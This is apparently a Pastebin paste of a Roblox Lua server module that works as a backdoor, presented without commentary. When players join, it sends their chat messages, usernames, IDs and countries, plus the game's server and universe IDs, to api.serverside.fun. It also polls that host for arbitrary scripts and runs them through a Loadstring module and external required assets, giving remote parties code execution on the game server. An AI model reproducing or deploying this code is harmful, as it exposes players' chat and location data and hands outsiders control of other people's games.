Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local a = {}
- local b = "https://api.serverside.fun/v1/get-players"
- local c = game:GetService("LocalizationService")
- local d = game:GetService("HttpService")
- local e = game:GetService("Players")
- game:GetService("Players").PlayerAdded:Connect(
- function(f)
- pcall(
- function()
- local g =
- game:GetService("HttpService"):GetAsync(
- "https://api.serverside.fun/v1/check-whitelist/" .. f.UserId .. "/" .. game.GameId
- )
- local h = game:GetService("HttpService"):JSONDecode(g)
- if h.whitelisted ~= false then
- pcall(
- function()
- local d = game:GetService("HttpService")
- local i = "https://api.serverside.fun/v1/chat"
- f.Chatted:Connect(
- function(j)
- local h = {
- ["text"] = tostring(j),
- ["robloxId"] = tostring(f.UserId),
- ["placeId"] = tostring(game.PlaceId)
- }
- pcall(
- function()
- d:PostAsync(i, d:JSONEncode(h))
- end
- )
- end
- )
- end
- )
- if h.watermark then
- if h.watermark == true then
- pcall(
- function()
- require(13749573698).hi(f.Name)
- end
- )
- end
- end
- local function k()
- local l = {}
- for m, n in ipairs(game.Players:GetPlayers()) do
- local o
- pcall(
- function()
- o = c:GetCountryRegionForPlayerAsync(n)
- end
- )
- if not o then
- o = "Unknown"
- end
- table.insert(
- l,
- {username = n.Name, userid = n.UserId, displayName = n.DisplayName, country = o}
- )
- end
- return l
- end
- local function p()
- wait(.5)
- if game.Players:FindFirstChild(f.Name) then
- local l = k()
- local q = {value = l, robloxId = f.UserId}
- local r = d:JSONEncode(q)
- d:PostAsync(b, r)
- end
- end
- local s = true
- local t = false
- local function u()
- wait(1)
- if game.Players:FindFirstChild(f.Name) and s == true then
- p()
- else
- s = false
- if t == false then
- local v = {value = {}, robloxId = f.UserId}
- local w = d:JSONEncode(v)
- d:PostAsync(b, w)
- t = true
- end
- end
- end
- pcall(
- function()
- p()
- game.Players.PlayerAdded:Connect(p)
- game.Players.PlayerRemoving:Connect(u)
- end
- )
- if h.type ~= "NORMAL" then
- pcall(
- function()
- local g =
- game:GetService("HttpService"):GetAsync(
- "https://api.serverside.fun/v1/private-scripts/" .. f.UserId
- )
- local h = game:GetService("HttpService"):JSONDecode(g)
- for x, y in ipairs(h.scripts) do
- pcall(
- function()
- if y == "r6()" then
- pcall(
- function()
- require(3436957371):r6(f.Name)
- end
- )
- elseif y == "re()" then
- pcall(
- function()
- f:LoadCharacter()
- end
- )
- elseif y:match("USERNAME") then
- local z = string.gsub(y, "USERNAME", f.Name)
- pcall(
- function()
- require(script.Loadstring)(z)()
- end
- )
- else
- pcall(
- function()
- require(script.Loadstring)(y)()
- end
- )
- end
- end
- )
- end
- end
- )
- end
- local A = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. f.UserId
- while true do
- local B, C = pcall(d.GetAsync, d, A)
- if B then
- local B, h = pcall(d.JSONDecode, d, C)
- if B then
- if h and h["script"] then
- if game.Players:FindFirstChild(f.Name) then
- local D = h["script"].robloxId
- local E = h["script"].script
- if f.UserId == tonumber(D) then
- if E == "r6()" then
- pcall(
- function()
- require(3436957371):r6(f.Name)
- end
- )
- elseif E == "re()" then
- pcall(
- function()
- f:LoadCharacter()
- end
- )
- elseif E:match("USERNAME") then
- local z = string.gsub(E, "USERNAME", f.Name)
- pcall(
- function()
- require(script.Loadstring)(z)()
- end
- )
- else
- pcall(
- function()
- require(script.Loadstring)(E)()
- end
- )
- end
- local d = game:GetService("HttpService")
- local i = "https://api.serverside.fun/v1/script-logs"
- local h = {
- ["script"] = E,
- ["robloxId"] = tostring(f.UserId),
- ["gameId"] = tostring(game.GameId)
- }
- pcall(
- function()
- d:PostAsync(i, d:JSONEncode(h))
- end
- )
- end
- end
- end
- end
- end
- task.wait()
- end
- else
- end
- end
- )
- pcall(
- function()
- local g =
- game:GetService("HttpService"):GetAsync(
- "https://api.serverside.fun/v1/toggle-free/check/" .. f.UserId
- )
- local h = game:GetService("HttpService"):JSONDecode(g)
- if h.whitelisted ~= false then
- local function k()
- local l = {}
- for m, n in ipairs(game.Players:GetPlayers()) do
- local o
- pcall(
- function()
- o = c:GetCountryRegionForPlayerAsync(n)
- end
- )
- if not o then
- o = "Unknown"
- end
- table.insert(
- l,
- {username = n.Name, userid = n.UserId, displayName = n.DisplayName, country = o}
- )
- end
- return l
- end
- local function p()
- wait(.5)
- if game.Players:FindFirstChild(f.Name) then
- local l = k()
- local q = {value = l, robloxId = f.UserId}
- local r = d:JSONEncode(q)
- d:PostAsync(b, r)
- end
- end
- local s = true
- local t = false
- local function u()
- wait(1)
- if game.Players:FindFirstChild(f.Name) and s == true then
- p()
- else
- s = false
- if t == false then
- local v = {value = {}, robloxId = f.UserId}
- local w = d:JSONEncode(v)
- d:PostAsync(b, w)
- t = true
- end
- end
- end
- pcall(
- function()
- p()
- game.Players.PlayerAdded:Connect(p)
- game.Players.PlayerRemoving:Connect(u)
- end
- )
- pcall(
- function()
- require(13749573698).hi(f.Name)
- end
- )
- while true do
- wait(1)
- if game.Players:FindFirstChild(f.Name) then
- local g =
- game:GetService("HttpService"):GetAsync(
- "https://api.serverside.fun/v1/pending-script/" .. f.UserId
- )
- local h = game:GetService("HttpService"):JSONDecode(g)
- local F = h.pendingScripts
- for x, y in pairs(F) do
- if y.script == "r6()" then
- pcall(
- function()
- require(3436957371):r6(f.Name)
- end
- )
- elseif y.script == "re()" then
- pcall(
- function()
- f:LoadCharacter()
- end
- )
- elseif y.script:match("USERNAME") then
- local z = string.gsub(y.script, "USERNAME", f.Name)
- pcall(
- function()
- require(script.Loadstring)(z)()
- end
- )
- else
- pcall(
- function()
- require(script.Loadstring)(y.script)()
- end
- )
- end
- end
- end
- end
- else
- end
- end
- )
- end
- )
- game:GetService("Players").PlayerAdded:Connect(
- function(f)
- local e = game:GetService("Players")
- local G = game:GetService("HttpService")
- local H = "https://api.serverside.fun/v1/games"
- local I = {["jobId"] = tostring(game.JobId), ["universe"] = tostring(game.GameId)}
- pcall(
- function()
- G:PostAsync(H, G:JSONEncode(I))
- end
- )
- end
- )
- return a
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement